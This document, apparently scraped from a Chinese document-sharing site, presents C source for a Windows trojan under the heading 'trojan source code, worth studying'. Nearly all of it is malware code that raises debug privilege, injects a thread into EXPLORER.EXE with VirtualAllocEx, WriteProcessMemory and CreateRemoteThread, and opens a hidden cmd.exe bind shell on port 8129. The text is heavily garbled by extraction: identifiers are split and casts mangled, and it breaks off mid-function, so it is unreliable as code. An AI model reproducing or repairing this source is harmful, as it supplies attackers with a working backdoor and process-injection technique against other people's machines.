C语言木马源码

1、C语言木马源码 很值得研究#include <winsock2.h>#pragma comment lib , "ws2_32.lib" )#include <windows.h>#i nclude <Shlwapi.h>#pragma comment lib , "Shlwapi.lib" )#include <tlhelp32.h> |#i nclude <stdio.h>#in clude <stri ng.h>/参数结构；typedef struct RemoteParaDW

2、ORDvLoadLibrary;DWORDvFreeLibrary;DWORDvGetProcAddress;DWORDvGetModuleHa ndle;DWORDvWSAStartup;DWORDvSocket;DWORDvhto ns;DWORDvbi nd;DWORDvliste n;DWORDvaccept;DWORDvse nd;DWORDvrecv;DWORDvclosesocket;DWORDvCreateProcessA;DWORDvPeekNamedPipe;DWORDvWriteFile;DWORDvReadFile;DWORDvCloseHa ndle;DWORDvCr

3、eatePipe;DWORDvTermi nateProcess;DWORDwMessageBox;char strMessageBox12;char wi nsockDll16;char cmd10;char Buff4096;char teln etmsg60; RemotePara/提升应用级调试权限BOOEnablePrivilege(HANDLEToken, LPCTSTRizPrivName, BOOLEnable);/根据进程名称得到进程IDDWORDetPidByName(char *szName);/远程线程执行体DWORD stdcall ThreadProc( Remot

4、ePara* Para)WSADATWSAData;WORDVersio n;SOCKElTste nSocket;SOCKETlie ntSocket;struct sockaddr_in server_addr;structsockaddr_in client_addr;int iAddrSize = sizeof (client_addr);SECURITY_ATTRIBUTES;HANDLEReadPipel;HANDLEWritePipel;HANDLEReadPipe2;HANDLEWritePipe2;STARTUPINFO；PROCESS_INFORMATRON:essl nf

5、ormatio n;unsigned long lBytesRead = 0;typedef HINSTANCE_stdcall * PLoadLibrary )( char*);typedef FARPROC_stdcall * PGetProcAddress)( HMODULELPCSTR typedef HINSTANCE _stdcall * PFreeLibrary )( HINSTANCE typedef HINSTANCE _stdcall * PGetModuleHandle)( HMODU);EFARPROCMessageBoxA;FARPROPWSAStartup; FAR

6、PROPSocket;FARPROChto ns;FARPROCbi nd;FARPROCiste n; FARPROCaccept; FARPROPSe nd; FARPROPrecv;FARPROPCIosesocket; FARPROPCreateProcessA; FARPROPPeekNamedPipe; FARPROPWriteFile; FARPROPReadFile;FARPROPCloseHa ndle; FARPROPCreatePipe; FARPROPTermi nateProcess;PLoadLibraryLoadLibraryFu nc =(PLoadLibrar

7、y ) Para->dwLoadLibrary;PGetProcAddress GetProcAddressFunc = ( PGetProcAddress) Para->dwGetProcAddress;PFreeLibraryFreeLibraryFu nc =(PFreeLibrary ) Para->dwFreeLibrary;PGetModuleHandle GetModuleHandleFunc = ( PGetModuleHandle) Para->dwGetModuleHandle;LoadLibraryFunc( Para->winsockDll

8、);PWSAStartup=(FARPRO&ara->dwWSAStartupPSocket =(FARPRO&ara->dwSocket;Phtons =(FARPRC)(Para->dwhto ns;Pbi nd=(FARPRO&ara->dwbi nd;Pliste n =(FARPRC)G?ara->dwliste n;Paccept =(FARPRC)G?ara->dwaccept;Psend =(FARPRC)G?ara->dwse nd;Precv =(FARPRO&ara->dwrecv;Pclos

9、esocket = (FARPRC)(Para ->dwclosesocket;PCreateProcessA = ( FARPRC)C?ara->dwCreateProcessA; PPeekNamedPipe = (FARPRC)(Para->dwPeekNamedPipe; PWriteFile = (FARPRC)(Para->dwWriteFile;PReadFile = (FARPRC)G?ara->dwReadFile;PCloseHa ndle = ( FARPRC)(Para->dwCloseHa ndle;PCreatePipe = (F

10、ARPRC)G?ara->dwCreatePipe;PTermi nateProcess = (FARPRC)(Para->dwTermi nateProcess;PMessageBoxA = ( FARPRC)(Para->dwMessageBox;nVersio n = MAKEWORD);PWSAStartup( nV ersio n,(LPWSADAT&WSAData);liste nSocket = PSocket(AF_INET SOCK_STREAM;if (listenSocket = INVALID SOCKETeturn 0;server addr

11、.si n family =AF INETserver_addr.sin_port= Phtons(unsigned short )(8129);server_addr.sin_addr. s_addr = INADDR_ANYif (Pbind(listenSocket, ( struct sockaddr *)&server_addr,sizeof (SOCKADDR_)N=0) return 0;if (Plisten(listenSocket, 5)return 0;clie ntSocket = Paccept(liste nSocket, (struct sockaddr

12、*)&clie nt_addr, &iAddrSize);/ Pse nd(clie ntSocket, Para->tel netmsg, 60, 0);if (!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0)return 0;if (!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0)return 0;ZeroMemoiy&si, sizeof (si);/ZeroMemory 是C运行库函数，可以直接调用si.dwFlags = STA

13、RTF_USESHOWWINDOARTF_USESTDHANDLESsi.wShowWi ndow = SW HIDEsi.hStdl nput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipel;if (!PCreateProcessA( NULL Para->cmd, NULLNUL1T1,0, NULLNULL&si,&Processlnformation)return 0;while (1) memset(Para->Buff,0,4096);PPeekNamedPipe(hReadPipe1,Pa

14、ra->Buff,4096,&lBytesRead,0,0);if (lBytesRead) if (!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0) break;if (!Psend(clientSocket,Para->Buff, lBytesRead, 0) break;else lBytesRead=Precv(clie ntSocket, Para->Buff, 4096, 0);if (lBytesRead <=0 ) break;if (!PWriteFile

15、(hWritePipe2, Para->Buff, lBytesRead, &BytesRead, 0) break ;I |PCloseHa ndle(hWritePipe2);PCloseHa ndle(hReadPipel);PCloseHa ndle(hReadPipe2);PCloseHa ndle(hWritePipel);Pclosesocket(liste nSocket);Pclosesocket(clie ntSocket);/ PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox,

16、 MB OK);return 0;int APIENTRYWinMain( HINSTANCEilnstanee ,HINSTANCEhPrevInstanee ,LPSTRIpCmdLi ne,intn CmdShoWcon st DWORTHREADSIZE=1024*4;DWORbyte_write;void *pRemoteThread;HANDLEToke n,hRemoteProcess,hThread;HINSTANCEKernel,hUser32,hSock;RemotePara myRemotePara,*pRemotePara;DWORpJD;Ope nProcessTok

17、e n( GetCurre ntProcess(),TOKEN_ADJUST_PRIVILEGESToke n);En ablePrivilege(hToke n,SE_DEBUG_NAMRUE/获得指定进程句柄，并设其权限为 PROCESS_ALL_ACCESSpID = GetPidByName( "EXPLORER.EXE"if (pID = 0) return 0;hRemoteProcess = OpenProcess( PROCESS_ALL_ACC,EFALSEplD);if (!hRemoteProcess) return 0;/在远程进程地址空间分配虚拟内

18、存pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM COMMIT MEM_RESERVAGE_EXECUTE_READV)RITEif (!pRemoteThread) return 0;/将线程执行体ThreadProc写入远程进程if (!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc,THREADSIZE,0)return 0;ZeroMemory；&myRemotePara,sizeof (RemotePara);

19、hKernel = LoadLibrary ( "kernel32.dll");myRemotePara.dwLoadLibrary =(DWORGetProcAddress(hKer nel,"LoadLibraryA");myRemotePara.dwFreeLibrary =(DWORGetProcAddress(hKer nel,"FreeLibrary");myRemotePara.dwGetProcAddress=(DWORDetProcAddress(hKernel,'GetProcAddress");

20、myRemotePara.dwGetModuleHa ndle = ( DWORGetProcAddress(hKer nel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = ( DWORDetProcAddress(hKernel,"CreateProcessA");myRemotePara.dwPeekNamedPipe = ( DWORGetProcAddress(hKernel,"PeekNamedPipe");myRemotePara.dwWriteFile =(DW

21、ORGetProcAddress(hKer nel,"WriteFile");myRemotePara.dwReadFile =(DWORGetProcAddress(hKernel,"ReadFile");myRemotePara.dwCloseHa ndle=( DWORGetProcAddress(hKernel,"CloseHandle");myRemotePara.dwCreatePipe =(DWORGetProcAddress(hKernel,"CreatePipe");myRemotePara.dw

22、Termi nateProcess = ( DWORGetProcAddress(hKernel,"Term in ateProcess");hSock = LoadLibrary ("wsock32.dll");myRemotePara.dwWSAStartup = ( DWORGetProcAddress(hSock, "WSAStartup");myRemotePara.dwSocket = ( DWORDetProcAddress(hSock, "socket");myRemotePara.dwhtons

23、= ( DWORGetProcAddress(hSock, "htons");myRemotePara.dwbind = ( DWORDetProcAddress(hSock, "bind");myRemotePara.dwliste n = (DWORDetProcAddress(hSock, "liste n");myRemotePara.dwaccept = ( DWORDetProcAddress(hSock, "accept");myRemotePara.dwrecv = ( DWORDetProcAdd

24、ress(hSock, "recv");myRemotePara.dwsend = ( DWORDetProcAddress(hSock, "send");myRemotePara.dwclosesocket = ( DWORGetProcAddress(hSock, "closesocket");hUser32 = LoadLibrary ("user32.dll");myRemotePara.dwMessageBox = (DWORGetProcAddress(hUser32, "MessageBox

25、A");strcat(myRemotePara.strMessageBox, "Sucess!/0"); strcat(myRemotePara.wi nsockDll, "wsock32.dll/0"); strcat(myRemotePara.cmd, "cmd.exe/0"); strcat(myRemotePara.tel netmsg,"Conn ect Sucessful!/ n/0");/写进目标进程pRemotePara =( RemotePara*)VirtualAllocEx(hRem

26、oteProcess ,0, sizeof ( RemotePar®, MEM_COMMPAGE_READWR)TEif (!pRemotePara) return 0;if (!WriteProcessMemory (hRemoteProcess ,pRemotePara，&myRemotePara,sizeofmyRemotePara,0) return 0;/启动线程hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD_stdcall *)( void*)pRemoteThread ,pRemotePara, 0,&byte write);while (1) FreeLibrary(hKernel);FreeLibrary(hSock);FreeLibrary(hUser32);CloseHa ndle(hRemoteProcess);CloseHa ndle(hToke n);return 0;BOOEnablePrivilege(HANDLEi